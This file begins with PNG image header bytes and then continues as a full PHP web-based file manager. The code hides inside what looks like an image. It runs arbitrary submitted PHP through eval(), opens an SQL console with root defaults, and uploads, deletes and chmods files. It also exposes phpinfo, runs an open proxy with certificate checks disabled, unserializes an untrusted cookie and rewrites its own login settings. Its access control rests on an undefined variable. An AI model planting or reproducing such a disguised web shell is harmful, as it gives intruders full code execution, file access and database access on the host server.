IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGV